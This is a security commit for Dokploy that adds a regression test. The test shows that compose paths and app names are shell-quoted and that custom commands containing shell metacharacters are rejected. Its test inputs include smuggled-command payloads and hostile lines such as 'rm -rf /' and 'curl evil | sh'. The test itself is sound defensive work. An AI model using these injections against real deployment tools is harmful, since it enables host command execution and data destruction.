fix(security): escape compose path and validate custom compose command

- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw

apps/dokploy/__test__/compose/compose-command-injection.test.ts

@@ -0,0 +1,104 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { createCommand } from "@dokploy/server/utils/builders/compose";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
+
+const base = {
+	composeType: "docker-compose" as const,
+	appName: "compose-app",
+	sourceType: "raw" as const,
+	command: "",
+	composePath: "docker-compose.yml",
+};
+
+// createCommand output is interpolated as `docker ${command}` at the deploy
+// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
+const runsSafely = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = [
+	`$(touch ${MARK})`,
+	"`touch " + MARK + "`",
+	`x; touch ${MARK}`,
+	`x | touch ${MARK}`,
+];
+
+describe("compose createCommand injection", () => {
+	it("escapes composePath (docker-compose)", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				sourceType: "github",
+				composePath: p,
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("escapes composePath (stack deploy)", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				composeType: "stack",
+				sourceType: "github",
+				composePath: p,
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("escapes appName", () => {
+		for (const p of PAYLOADS) {
+			const cmd = createCommand({
+				...base,
+				sourceType: "github",
+				appName: p,
+				composePath: "docker-compose.yml",
+			} as any);
+			expect(runsSafely(cmd)).toBe(true);
+		}
+	});
+
+	it("rejects a custom command containing shell control characters", () => {
+		for (const bad of [
+			"up -d; rm -rf /",
+			"up && curl evil | sh",
+			"up $(touch x)",
+			"up `id`",
+		]) {
+			expect(() =>
+				createCommand({ ...base, command: bad } as any),
+			).toThrow(/Invalid characters/);
+		}
+	});
+
+	it("allows a legitimate custom command", () => {
+		const cmd = createCommand({
+			...base,
+			command: "compose -f docker-compose.yml -p app up -d --build",
+		} as any);
+		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
+	});
+
+	it("keeps a legitimate composePath intact", () => {
+		const cmd = createCommand({
+			...base,
+			sourceType: "github",
+			composePath: "deploy/docker-compose.prod.yml",
+		} as any);
+		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
+		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
+			"deploy/docker-compose.prod.yml",
+		);
+	});
+});